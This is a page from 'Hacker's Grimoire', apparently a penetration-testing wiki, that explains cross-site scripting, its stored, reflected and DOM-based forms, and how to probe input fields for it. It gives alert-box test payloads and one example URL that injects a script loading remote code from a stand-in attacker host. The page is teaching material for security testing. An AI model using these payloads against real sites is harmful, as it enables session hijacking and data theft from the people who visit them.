👹
Hacker's Grimoire
  • Hacker's Grimoire
  • Reconnaissance
    • Passive information gathering
    • Active information gathering
  • Exploitation
    • Web application attacks
      • Local and remote file inclusion
      • File upload bypass
      • Cross-site scripting
      • Cross-site request forgery
      • Server-side request forgery
      • SQL injection
      • Remote code execution
    • Working with exploits
    • Password cracking
    • Metasploit
    • Buffer overflow
  • Post exploitation
    • Privilege escalation: Linux
    • Privilege escalation: Windows
  • Linux basics
  • Windows basics
  • Learning resources
Powered by GitBook
On this page
  • Types of XSS
  • Persistent or stored
  • Reflected
  • DOM-based
  • Basic technique
  • Further reading
  1. Exploitation
  2. Web application attacks

Cross-site scripting

Cross-site scripting (XSS) allows attackers to inject malicious scripts into a webpage, targeting users who load that page. It's usually caused by insufficient input validation and improper encoding of user input that is displayed on web pages. Using XSS, attackers can achieve the following:

  • Hijack accounts and sessions

  • Steal sensitive information

  • Modify page content and deface websites

  • Redirect users to another webpage

  • Record keystrokes

  • Redirect to websites that exploit browser vulnerabilities

  • Trick users into downloading files or entering information (e.g. via phishing)

Types of XSS

Persistent or stored

The malicious script is stored in the database and displayed to any users who load a page containing the script. An example of this is an attacker exploiting vulnerable blog commenting to post a malicious script as a comment which is then displayed to any other user who loads the page.

Reflected

The malicious script is part of the user's request to the website and is reflected back at them as part of the response. An example would be a user clicking an email link with a malicious script in one of the parameters. The script is run against the same user when the page loads and sends their session data to the attacker's server.

DOM-based

Basic technique

The basic technique is to put a test script in any form input field and see if it pops an alert box. You may want to try a few variations to test for badly-implemented input sanitization:

<script>alert("hello");</script> 
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>

JavaScript can also be injected through a URL, which an unsuspecting person might click in an email:

https://example.com/test.php?val=<script src="http://evil.host/evil.js"></script>

You can find all kinds of XSS vulnerabilities, including DOM-based, by manually walking through the application with your browser and modifying each URL parameter to contain a standard test string.

Further reading

PreviousFile upload bypassNextCross-site request forgery

Last updated 2 years ago

Not gonna lie, these are tricky to understand. DOM-based XSS occurs when a web application writes unsanitized data to the . When a client-side script is executed, it can use the DOM of the HTML page where the script runs to access various properties and change them. Common objects used in DOM-based XSS include document.url , document.location and document.referrer.

Document Object Model (DOM)
XSS payloads
5 practical scenarios for XSS attacks
Using Burp Scanner to find XSS issues
PortSwigger: Testing for DOM-based XSS
DOM XSS explained